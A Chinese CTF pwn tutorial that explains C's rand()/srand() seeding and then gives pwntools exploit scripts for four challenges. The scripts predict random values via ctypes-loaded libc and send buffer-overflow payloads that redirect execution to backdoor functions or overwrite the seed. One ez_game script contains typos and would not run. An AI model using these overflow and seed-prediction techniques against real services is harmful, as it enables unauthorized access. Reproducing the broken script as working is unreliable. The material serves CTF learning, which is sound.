0x01 生成随机数的函数
在c语言中会有这样几个函数
rand() srand()
他们会被用来做一些校验吧,所以我们平时遇到它的时候该怎么去绕过它从而得到我们想要的呢。
首先要了解一下他们:
在C语言中,srand()
函数用于初始化随机数生成器的种子。这个函数定义在 <stdlib.h>
头文件中,它的作用是为 rand()
函数提供一个初始值,从而影响 rand()
生成的随机数序列。
在C语言中,rand()
函数用于生成伪随机数。这个函数定义在 <stdlib.h>
头文件中,它返回一个非负的随机整数。返回值的范围是从 0
到 RAND_MAX
,RAND_MAX
是 <stdlib.h>
定义的一个宏,表示 rand()
函数能生成的最大随机数。
基本用法
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main() {
// 初始化随机数生成器
srand((unsigned int)time(NULL));
// 生成随机数
int random_number = rand();
printf("随机数: %d\n", random_number);
return 0;
}
-
srand()
函数接受一个unsigned int
类型的参数,这个参数作为随机数生成的种子。 - 随机数生成器的种子决定了
rand()
函数生成的随机数序列。相同的种子会导致rand()
生成相同的随机数序列。 -
- 在示例中,
srand((unsigned int)time(NULL));
使用当前时间(秒级)作为种子。time(NULL)
返回自 Unix 纪元(1970年1月1日)以来的秒数。
- 在示例中,
- 通过使用当前时间作为种子,可以确保每次程序运行时生成的随机数序列都是不同的,因为每次运行的时间都不同。
-
- 在调用
srand()
初始化随机数生成器后,可以使用rand()
函数生成随机数。rand()
返回一个非负的随机整数,范围是从0
到RAND_MAX
。
- 在调用
生成指定范围的随机数
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main() {
// 初始化随机数生成器
srand((unsigned int)time(NULL));
// 生成1到10之间的随机数
int random_number = rand() % 10 + 1;
printf("1到10之间的随机数: %d\n", random_number);
return 0;
}
-
srand((unsigned int)time(NULL));
使用当前时间作为种子,初始化随机数生成器。 -
rand() % 10 + 1
生成一个范围在1
到10
之间的随机数
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(){
int v1;
srand(1);
for(int i=0;i<=98;i++){
v1=(rand() % 100 + 1);
printf("%d ",v1);
}
return 0;
}
--
输出结果是一样的,那么就是可以进行绕过的
0x02 对伪随机数的绕过
针对于随机数在python中有一个库,如果想要深入了解可以去看一下
首先,我们创建的随机数,是有种子的,有种子我们就可以利用c语言去获得上面所展示的随机数内容,然后就可以根据得到的随机数去进行绕过了。
而ctypes这个库就是用于载入动态连接库,然后通过其中的模块来进行撞库,如果是知道种子的情况下容易达成,如果是时间种子的情况下会存在时间不对的情况,所以会存在更多种情况。
那么怎么去利用这个库去绕过随机数呢,下面通过例题来讲解。
例题讲解
pwnner
可以看到是64位
看一下漏洞函数
可以看到,也是有后门函数的
那么就可以使用ctypes ,这里来看exp
from pwn import *
from ctypes import *
p=remote("node5.anna.nssctf.cn",29528)
my_libc=cdll.LoadLibrary("libc.so.6")
my_libc.srand(0x39) #自动计算随机数
payload1=str(my_libc.rand()).encode("utf-8")
p.sendline(payload1)
payload=b'a'*72 +p64(0x4008B2)
p.sendline(payload)
p.interactive()
这里是使用ctypes去加载 libc.so.6 然后调用标准库中的srand函数,设置种子为0x39,来生成可预测的随机数列
payload1 = str(my_libc.rand()).encode('utf-8')
这个是把生成的随机数列编码为utf-8的格式发送过去,下面就简单了,就是单纯的溢出就可以了。当然还有一种解法就是直接自己算出随机数。这里写一个生成随机数的
#include<stdio.h>
#include<stdlib.h>
int main(){
int a;
srand(0x39);
printf("%d",rand());
}
这里就可以看到生成的随机数了,所以也就可以对题目进行绕过
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = remote('node5.anna.nssctf.cn',29388)
payload = b'a'*72+p64(0x4008B2)
p.sendlineafter(b'name',b'1956681178')
p.sendlineafter(b'next?',payload)
p.interactive()
真男人下120层
这里也是有两个解法,不过用c语言写的话很明显会很麻烦,不如直接使用 ctypes 库
首先看一下主函数,这里 v3 是获取当前时间,并作为随机数生成的种子,srand(v3) 用当前时间初始化随机数生成器, v4 = rand() 生成一个随机数,srand(v4 % 3 - 1522127470) 来生成,下面就是开始一个循环,循环120次,读入一个整数,检测 随机生成1-4之间的随机数,如果用户的选择不匹配,则游戏结束。如果用户到达120次以后就可以拿到flag了
这里看写法
from pwn import *
from ctypes import *
p = remote('node4.anna.nssctf.cn',28052)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(libc.time(0))
shu = libc.rand()%3 -1522127470
libc.srand(shu)
for i in range(120):
t = libc.rand() % 4 + 1
p.sendline(str(t).encode())
p.interactive()
首先这里是加载libc,然后调用libc中的srand函数,其中种子是为当前时间 (libc.time(0)) 根据反编译的伪代码得知,程序把得到的随机数又进行了一次计算,是 v4 % 3 - 1522127470,所以我们这里也要进行这样的计算,然后赋值给 shu ,再调用libc.srand(shu) 把经过计算后的随机数当作种子来生成随机数。
for i in range(120):
t = libc.rand() % 4 + 1
p.sendline(str(t).encode())
这里的话就很明显是为了绕过下面循环的120次,只要到了120就可以拿到flag了
dice_game
这里可以看到开了nx 和 pie
再来看一下主函数,这里是获取了当前时间为种子,然后刷新缓冲区,读入0x50个字节,buf只有50,有溢出,然后下面会触发随机数,下面一个循环,检测通过50次就可以了
from pwn import *
from ctypes import *
context.log_level = 'debug'
p = remote('61.147.171.105',57855)
libc = cdll.LoadLibrary('./libc.so.6')
payload = b'a'*0x40 + p64(0)
p.sendlineafter('name',payload)
res = []
for i in range(50):
res.append(libc.rand()%6+1)
for point in res:
p.sendlineafter('point(1~6):',str(point))
p.interactive()
这里是覆盖seed,然后自己生成
ez_game
这里是给了后门的,主要难点是在于循环20000次,所以主要看写法
把随机数绕过去就可以拿到shell了
from pwn import *
from ctypes import *
p = remote()
p.sendlineafter('username:',b'a'*8)
libc = call.LoadLibray('./libc.so.6)
libc.srand(1)
res = []
for i in range(20001):
res.append(libc.rand() % 7 + 1)
for a in res:
p.sendlinearfer('guess:',str(a))
p.interactive()
正常想法是这样来写,但是题目限制了14秒,这样写很明显是跑不完了,所以这里就要考虑到代码速度优化的问题,这个代码如果说不进行限制时间的话肯定是可以通过的。
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', )
libc = cdll.LoadLibrary('./libc.so.6')
libc.srand(1)
res = []
for i in range(20001):
res.append(libc.rand() % 7 + 1)
p = remote('27.25.151.12',33356)
p.sendlineafter('username:',b'a'*8)
for a in res:
p.sendline(str(a))
p.interactive()
这里就是经过优化的代码了,很明显是把数据的处理放到了前面先处理好,然后再进行发送数据,而且在下面发送随机数那里是直接发送过去,不等待回显,回显也会浪费时间,所以这里就是会快很多,就可以拿到flag了
总结
关于随机数绕过的,有了ctypes 库以后方便了很多,不用自己去写c语言生成随机数了。所以可以多去学习使用一下